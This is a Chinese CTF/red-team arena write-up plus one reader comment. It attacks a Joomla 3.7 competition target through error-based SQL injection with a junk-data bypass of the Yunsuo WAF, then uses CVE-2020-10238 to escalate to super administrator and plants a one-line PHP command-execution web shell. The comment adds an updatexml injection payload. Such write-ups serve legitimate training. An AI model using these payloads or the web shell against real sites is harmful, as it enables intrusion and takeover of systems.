时隔一个月,掌控红队擂台赛的Writeup终于正式发布了。官方wp在此提供了一条通关的思路,但解法远不止这些。希望大家在复现之余能拓宽思路,找到其它解题姿势,并分享到社区里。此处附上擂台赛链接~
首先对网站后台进行扫描,得到疑似WAF后台保护的地址。
访问/admincp
来到了后台。
可知目标为joomla cms,通过开源源码查找版本信息。
访问http://awd19-b22.aqlab.cn/administrator/language/en-GB/en-GB.xml
得到版本信息为 joomla 3.7。
下一步开始测试通用漏洞,通过漏洞库得知3.7前台存在一处sql报错注入漏洞。
存在云锁WAF,开始尝试绕过。
通过不断添加脏数据,绕过了检测。
使用select table_name from information_schema.tables where table_schema=database() limit 0,1
判断数据库表命名规则
接下来使用语句爆出表名,利用burp的Intruder模块
得到以下表名:
查看比较“可疑”的flag表,爆出列名
(select column_name from information_schema.columns where table_schema=database() and table_name=( select table_name from information_schema.tables where table_schema=database() limit 64,1)limit 0,1)
得到两个列名:id和keywords。用select id from #__user_flag
语句查询数据,得到疑似账号密码的字符串。
WhatsUp
及68e109f0f40ca72a15e05cc22786f8
。后者为md5加密。
尝试登陆后台,可见具有普通管理员权限。
来到多媒体文件管理页,把默认文件上传地址修改为/
此时便可看到网站目录下的flag:
最后尝试利用CVE-2020-10238,以管理员身份越权到超级管理员,执行系统指令。
先登录管理员账号,在编辑模板处抓包,得到token。
然后在本地搭建环境,登录超级管理员账号,对模板文件error.php进行修改并抓包。其中jform[source]
为要修改的内容。
得到数据包后替换token,将post数据复制到上一个包中,并修改请求的url,发包。
可见文件已被修改,查看error.php页,可见页面被成功篡改。
接下来可以直接尝试命令执行,获得服务器根目录的flag,或者上传木马连接shell(需要绕过WAF的限制),进行控制。此处选择命令执行。
<?php echo 'Hacked by Veek!\n' ;system($_GET['cmd']); ?>
以上就是B组题的Writeup,A组的将在明天发布。请继续关注社区与公众号“掌控安全EDU”动态。
下一届红队擂台赛正在筹备中,预计将于三月中旬举行,敬请期待!
比赛通知群:421910690
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
hb
发表于 2021-2-26
大佬,关于用脏数据绕过云锁的那一块,我自己试的时候没有反应,是我语句写错了嘛:我的是把传参方式改为post,传参:
option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml/*66666666666666....省略无数个666666*/(1,concat(1,user()),1)
评论列表
加载数据中...